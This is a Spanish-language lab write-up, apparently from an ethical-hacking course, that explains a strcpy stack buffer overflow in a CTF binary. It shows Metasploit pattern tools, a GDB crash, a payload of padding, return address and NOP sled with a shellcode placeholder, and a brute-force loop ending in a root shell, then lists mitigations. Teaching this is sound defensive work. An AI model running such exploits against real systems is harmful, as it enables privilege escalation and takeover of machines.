¿Qué es un Buffer Overflow?

Imagina que tienes una caja con capacidad para 10 cartas (espacio para 10 caracteres). Si intentas meter 20 cartas, las cartas extra se derraman. En computadoras, cuando escribes más datos de los que un "espacio" (**buffer**) puede contener, esos datos se “derraman” sobre otros datos importantes, como instrucciones o direcciones. Eso es un **buffer overflow**.

¿Qué hace este binario?

```
char local_af[171];
strcpy(local_af, (char *)param_2[1]);
```

El programa guarda tu input en una caja que solo puede guardar 171 letras, pero no revisa cuántas letras le estás dando (porque usa strcpy, que no valida el largo).

Si tú escribes más de 171 letras… empiezas a sobrescribir “cosas importantes” del programa.

¿Por qué es peligroso?

Justo después de esa caja (el buffer), el sistema guarda una dirección especial: ¿a dónde debe saltar el programa al terminar?

Si tú la sobrescribes, el programa puede “saltar” a donde TÚ le digas (por ejemplo, a un código que tú escribiste en el mismo input). Así puedes ejecutar tu propio código, eso es **RCE** (Remote Code Execution).

Demostración paso a paso:
Paso 1: Crear el patrón para saber cuándo se rompe
/opt/metasploit/tools/exploit/pattern_create.rb -l 200

Esto genera un patrón único de 200 caracteres. ¿Por qué? Porque cuando el programa se rompa, podremos saber exactamente cuántos caracteres necesitamos para llegar a la dirección de retorno (EIP o RIP).

Paso 2: Ejecutamos y “debuggeamos” con ese patrón:
❯ gdb ./input
...
(No debugging symbols found in ./input)
(gdb) run
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2
Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5
Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Starting program:
/home/wh01s17/Documentos/workspace/OTEC-Sustantiva/01-HACKING-ÉTICO-EN-APLIC
ATIVOS-WEB/material/maquinas/08-driftingblues9/content/input
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2
Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5
Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x41376641 in ?? ()

El programa crashea y GDB nos muestra cuál valor llegó a la dirección de salto.

Paso 3: Calculamos el offset exacto
Usamos pattern_offset.rb :
/opt/metasploit/tools/exploit/pattern_offset.rb -l 200 -q 41376641
[*] Exact match at offset 171

Eso te dice: "Ah, necesitas 171 caracteres para llegar a la dirección de retorno."

Paso 4: Inyectamos nuestro shellcode
./input $(python -c 'print("A" * 171 + dirección + padding + shellcode)')
Explicación:

"A" * 171: relleno para llegar a la dirección de retorno.

\xa0\xe7\x84\xbf: nueva dirección a la que queremos que salte el programa, que representa la posición de **ESP**.

\x90 * 1000 (padding), “resbalín” o **NOP sled**: una zona segura donde el programa puede caer sin explotar, es decir, agregar 1000 bytes de NOPs (No Operation), en el payload es maximizar la probabilidad de que el programa “caiga” en una zona segura del código que tú inyectaste.

Registros clave en x86 (32 bits)

1. EIP — *Instruction Pointer*

- **Qué es**: Guarda la **dirección de la próxima instrucción a ejecutar**.
- **Importancia en exploits**: Si puedes controlar `EIP`, puedes hacer que el programa **salte a donde tú quieras** (por ejemplo, tu shellcode).
- Ejemplo: si `EIP = 0xbf898bf0`, el programa va a ejecutar lo que esté en esa dirección de memoria.

2. ESP — *Stack Pointer*

- **Qué es**: Apunta al **tope de la pila (stack)**, es decir, la última dirección donde se almacenó algo con `push`, `call`, etc.
- En tu caso, si pones datos con `./input`, esos datos probablemente estén **en la pila**, y ESP apuntará a ellos.
- Usualmente lo usas para poner tu **NOP sled + shellcode**.

3. EBP — *Base Pointer*

- **Qué es**: Guarda una referencia fija del inicio del marco actual de la pila (stack frame).
- Muy usado para **navegar dentro de funciones** (por ejemplo, acceder a argumentos o variables locales).
- En exploits, a veces puedes sobreescribir el valor guardado de EBP para alterar el flujo de retorno.

4. Otros registros generales

Registro	Significado	Uso común
EAX	Acumulador	Resultados de operaciones
EBX	Base	A veces usado para direcciones
ECX	Contador	Usado en loops (`loop`, `rep`)
EDX	Extensión del acumulador	Multiplicación/división
ESI	Source Index	Operaciones con buffers (src)
EDI	Destination Index	Operaciones con buffers (dest)

¿Qué es un NOP (\x90)?

En ensamblador, \x90 significa “No hagas nada” (No Operation).

Si el procesador se encuentra con un NOP, simplemente pasa al siguiente byte sin hacer nada.

¿Por qué usar un NOP sled?

Cuando explotas un buffer overflow, quieres que el programa salte a tu shellcode. Pero en muchos casos:

- No sabes exactamente dónde quedó tu shellcode en la memoria.

- La dirección que sobrescribes puede estar algunos bytes antes o después del comienzo del shellcode.

Entonces, en vez de tratar de apuntar a una dirección exacta (muy difícil), rellenas con una larga “pista resbaladiza” de NOPs. Así:

[buffer] = [relleno] + [dirección de salto] -> [zona de NOPs (1000 bytes)] -> [tu shellcode]

Así, si el flujo de ejecución cae en cualquier parte del NOP sled, simplemente seguirá ejecutando NOPs hasta que llegue al shellcode real.

¿Por qué 1000?

No hay una cantidad “mágica”, pero mientras más largo sea el NOP sled, mayor probabilidad de éxito:

Si usas solo 10 bytes de NOPs, la dirección tiene que ser muy precisa.

Si usas 1000, tienes 1000 bytes de margen de error.

En exploits reales, a veces se usan incluso 4000 o más, dependiendo del tamaño del buffer.

Shellcode: código en ensamblador que, por ejemplo, ejecuta /bin/sh.

Ataque automático con bucle (bruteforce)

Como no sabemos exactamente dónde cae el shellcode, lo probamos muchas veces cambiando pequeñas cosas (dirección, offset, etc.):

```
for i in {1..10000}; do
  ./input $(python -c 'print("A"*171 + "\xa0\xe7\x84\xbf" + "\x90"*1000 + "<shellcode>")')
done
```

Hasta que...

```
# whoami
root
```

¡Listo! Tienes ejecución de comandos como root.

Conclusión

Que una mala validación de input puede romper la seguridad de todo un sistema.

Que es posible tomar control del flujo del programa.

Que conceptos de bajo nivel (memoria, stack, EIP) son fundamentales en seguridad.

¿Cómo se soluciona esto?

Nunca usar strcpy sin límite → mejor usar strncpy, fgets, etc.

Uso de protecciones modernas:

- Stack Canaries
- DEP (Data Execution Prevention)
- ASLR (Address Space Layout Randomization)
- PIE (Position Independent Executable)